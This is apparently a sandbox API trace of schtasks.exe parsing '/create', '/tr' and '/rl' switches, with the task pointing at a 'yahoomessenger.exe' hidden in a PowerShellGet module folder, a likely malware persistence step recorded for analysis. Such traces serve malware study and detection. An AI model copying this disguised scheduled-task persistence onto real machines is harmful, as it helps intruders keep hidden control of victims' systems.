[0066.302] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.302] lstrlenW (lpString="tr") returned 2 [0066.302] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.302] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|?|") returned 3 [0066.302] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.302] lstrlenW (lpString="|?|") returned 3 [0066.302] lstrlenW (lpString="|tr|") returned 4 [0066.302] SetLastError (dwErrCode=0x490) [0066.302] lstrlenW (lpString="s") returned 1 [0066.302] lstrlenW (lpString="s") returned 1 [0066.302] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.302] lstrlenW (lpString="tr") returned 2 [0066.302] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.303] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|s|") returned 3 [0066.303] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.303] lstrlenW (lpString="|s|") returned 3 [0066.303] lstrlenW (lpString="|tr|") returned 4 [0066.303] SetLastError (dwErrCode=0x490) [0066.303] lstrlenW (lpString="u") returned 1 [0066.303] lstrlenW (lpString="u") returned 1 [0066.303] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.303] lstrlenW (lpString="tr") returned 2 [0066.303] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.303] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|u|") returned 3 [0066.303] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.303] lstrlenW (lpString="|u|") returned 3 [0066.303] lstrlenW (lpString="|tr|") returned 4 [0066.303] SetLastError (dwErrCode=0x490) [0066.303] lstrlenW (lpString="p") returned 1 [0066.303] lstrlenW (lpString="p") returned 1 [0066.303] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.303] lstrlenW (lpString="tr") returned 2 [0066.303] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.303] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|p|") returned 3 [0066.303] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.303] lstrlenW (lpString="|p|") returned 3 [0066.303] lstrlenW (lpString="|tr|") returned 4 [0066.303] SetLastError (dwErrCode=0x490) [0066.304] lstrlenW (lpString="ru") returned 2 [0066.304] lstrlenW (lpString="ru") returned 2 [0066.304] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.304] lstrlenW (lpString="tr") returned 2 [0066.304] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.304] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ru|") returned 4 [0066.304] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.304] lstrlenW (lpString="|ru|") returned 4 [0066.304] lstrlenW (lpString="|tr|") returned 4 [0066.304] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0066.304] SetLastError (dwErrCode=0x490) [0066.304] lstrlenW (lpString="rp") returned 2 [0066.304] lstrlenW (lpString="rp") returned 2 [0066.304] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.304] lstrlenW (lpString="tr") returned 2 [0066.304] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.304] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rp|") returned 4 [0066.304] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.304] lstrlenW (lpString="|rp|") returned 4 [0066.304] lstrlenW (lpString="|tr|") returned 4 [0066.304] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0066.304] SetLastError (dwErrCode=0x490) [0066.304] lstrlenW (lpString="sc") returned 2 [0066.305] lstrlenW (lpString="sc") returned 2 [0066.305] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.305] lstrlenW (lpString="tr") returned 2 [0066.305] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.305] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.305] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.305] lstrlenW (lpString="|sc|") returned 4 [0066.305] lstrlenW (lpString="|tr|") returned 4 [0066.305] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0066.305] SetLastError (dwErrCode=0x490) [0066.305] lstrlenW (lpString="mo") returned 2 [0066.305] lstrlenW (lpString="mo") returned 2 [0066.305] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.305] lstrlenW (lpString="tr") returned 2 [0066.305] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.305] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|mo|") returned 4 [0066.305] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.305] lstrlenW (lpString="|mo|") returned 4 [0066.305] lstrlenW (lpString="|tr|") returned 4 [0066.305] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0066.305] SetLastError (dwErrCode=0x490) [0066.305] lstrlenW (lpString="d") returned 1 [0066.305] lstrlenW (lpString="d") returned 1 [0066.305] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.306] lstrlenW (lpString="tr") returned 2 [0066.306] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.306] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|d|") returned 3 [0066.306] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.306] lstrlenW (lpString="|d|") returned 3 [0066.306] lstrlenW (lpString="|tr|") returned 4 [0066.306] SetLastError (dwErrCode=0x490) [0066.306] lstrlenW (lpString="m") returned 1 [0066.306] lstrlenW (lpString="m") returned 1 [0066.306] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.306] lstrlenW (lpString="tr") returned 2 [0066.306] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.306] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|m|") returned 3 [0066.306] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.306] lstrlenW (lpString="|m|") returned 3 [0066.306] lstrlenW (lpString="|tr|") returned 4 [0066.306] SetLastError (dwErrCode=0x490) [0066.306] lstrlenW (lpString="i") returned 1 [0066.306] lstrlenW (lpString="i") returned 1 [0066.306] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.306] lstrlenW (lpString="tr") returned 2 [0066.306] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.307] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|i|") returned 3 [0066.307] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.307] lstrlenW (lpString="|i|") returned 3 [0066.307] lstrlenW (lpString="|tr|") returned 4 [0066.307] SetLastError (dwErrCode=0x490) [0066.307] lstrlenW (lpString="tn") returned 2 [0066.307] lstrlenW (lpString="tn") returned 2 [0066.307] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.307] lstrlenW (lpString="tr") returned 2 [0066.307] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.307] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tn|") returned 4 [0066.307] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.307] lstrlenW (lpString="|tn|") returned 4 [0066.307] lstrlenW (lpString="|tr|") returned 4 [0066.307] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0066.307] SetLastError (dwErrCode=0x490) [0066.307] lstrlenW (lpString="tr") returned 2 [0066.307] lstrlenW (lpString="tr") returned 2 [0066.307] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.307] lstrlenW (lpString="tr") returned 2 [0066.307] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.307] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.307] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|tr|") returned 4 [0066.307] lstrlenW (lpString="|tr|") returned 4 [0066.307] lstrlenW (lpString="|tr|") returned 4 [0066.308] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0066.308] SetLastError (dwErrCode=0x0) [0066.308] SetLastError (dwErrCode=0x0) [0066.308] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.308] lstrlenW (lpString="-/") returned 2 [0066.308] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.308] SetLastError (dwErrCode=0x490) [0066.308] SetLastError (dwErrCode=0x490) [0066.308] SetLastError (dwErrCode=0x0) [0066.308] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.308] StrChrIW (lpStart="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'" [0066.308] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.308] _memicmp (_Buf1=0x25c4b0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.308] _memicmp (_Buf1=0x25c4f0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.308] SetLastError (dwErrCode=0x7a) [0066.308] SetLastError (dwErrCode=0x0) [0066.308] SetLastError (dwErrCode=0x0) [0066.308] lstrlenW (lpString="'C") returned 2 [0066.308] lstrlenW (lpString="-/") returned 2 [0066.308] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0066.308] SetLastError (dwErrCode=0x490) [0066.308] SetLastError (dwErrCode=0x490) [0066.308] SetLastError (dwErrCode=0x0) [0066.308] _memicmp (_Buf1=0x25d720, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.309] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.309] GetProcessHeap () returned 0x240000 [0066.309] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d740) returned 1 [0066.309] GetProcessHeap () returned 0x240000 [0066.309] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25d740, Size=0xc4) returned 0x25c5e0 [0066.309] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.309] lstrlenW (lpString=" \x09") returned 2 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0066.309] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0066.309] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0066.309] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0066.310] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.311] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0066.312] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0066.312] GetLastError () returned 0x0 [0066.312] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.312] lstrlenW (lpString="'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'") returned 97 [0066.312] SetLastError (dwErrCode=0x0) [0066.313] SetLastError (dwErrCode=0x0) [0066.313] lstrlenW (lpString="/rl") returned 3 [0066.313] lstrlenW (lpString="-/") returned 2 [0066.313] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.313] lstrlenW (lpString="create") returned 6 [0066.313] lstrlenW (lpString="create") returned 6 [0066.313] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.313] lstrlenW (lpString="rl") returned 2 [0066.313] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.313] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|create|") returned 8 [0066.313] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.313] lstrlenW (lpString="|create|") returned 8 [0066.313] lstrlenW (lpString="|rl|") returned 4 [0066.313] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0066.313] SetLastError (dwErrCode=0x490) [0066.313] lstrlenW (lpString="?") returned 1 [0066.313] lstrlenW (lpString="?") returned 1 [0066.313] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.313] lstrlenW (lpString="rl") returned 2 [0066.313] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.313] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|?|") returned 3 [0066.313] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.313] lstrlenW (lpString="|?|") returned 3 [0066.313] lstrlenW (lpString="|rl|") returned 4 [0066.314] SetLastError (dwErrCode=0x490) [0066.314] lstrlenW (lpString="s") returned 1 [0066.314] lstrlenW (lpString="s") returned 1 [0066.314] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.314] lstrlenW (lpString="rl") returned 2 [0066.314] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.314] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|s|") returned 3 [0066.314] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.314] lstrlenW (lpString="|s|") returned 3 [0066.314] lstrlenW (lpString="|rl|") returned 4 [0066.314] SetLastError (dwErrCode=0x490) [0066.314] lstrlenW (lpString="u") returned 1 [0066.314] lstrlenW (lpString="u") returned 1 [0066.314] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.314] lstrlenW (lpString="rl") returned 2 [0066.314] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.314] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|u|") returned 3 [0066.314] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.314] lstrlenW (lpString="|u|") returned 3 [0066.314] lstrlenW (lpString="|rl|") returned 4 [0066.314] SetLastError (dwErrCode=0x490) [0066.314] lstrlenW (lpString="p") returned 1 [0066.314] lstrlenW (lpString="p") returned 1 [0066.314] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] lstrlenW (lpString="rl") returned 2 [0066.315] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|p|") returned 3 [0066.315] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.315] lstrlenW (lpString="|p|") returned 3 [0066.315] lstrlenW (lpString="|rl|") returned 4 [0066.315] SetLastError (dwErrCode=0x490) [0066.315] lstrlenW (lpString="ru") returned 2 [0066.315] lstrlenW (lpString="ru") returned 2 [0066.315] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] lstrlenW (lpString="rl") returned 2 [0066.315] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|ru|") returned 4 [0066.315] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.315] lstrlenW (lpString="|ru|") returned 4 [0066.315] lstrlenW (lpString="|rl|") returned 4 [0066.315] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0066.315] SetLastError (dwErrCode=0x490) [0066.315] lstrlenW (lpString="rp") returned 2 [0066.315] lstrlenW (lpString="rp") returned 2 [0066.315] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] lstrlenW (lpString="rl") returned 2 [0066.315] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.315] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rp|") returned 4 [0066.316] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.316] lstrlenW (lpString="|rp|") returned 4 [0066.316] lstrlenW (lpString="|rl|") returned 4 [0066.316] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0066.316] SetLastError (dwErrCode=0x490) [0066.316] lstrlenW (lpString="sc") returned 2 [0066.316] lstrlenW (lpString="sc") returned 2 [0066.316] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.316] lstrlenW (lpString="rl") returned 2 [0066.316] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.316] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|sc|") returned 4 [0066.316] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.316] lstrlenW (lpString="|sc|") returned 4 [0066.316] lstrlenW (lpString="|rl|") returned 4 [0066.316] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0066.316] SetLastError (dwErrCode=0x490) [0066.316] lstrlenW (lpString="mo") returned 2 [0066.316] lstrlenW (lpString="mo") returned 2 [0066.316] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.316] lstrlenW (lpString="rl") returned 2 [0066.316] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.316] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|mo|") returned 4 [0066.317] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc828 | out: _Buffer="|rl|") returned 4 [0066.317] lstrlenW (lpString="|mo|") returned 4 [0066.317] lstrlenW (lpString="|rl|") returned 4 [0066.317] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 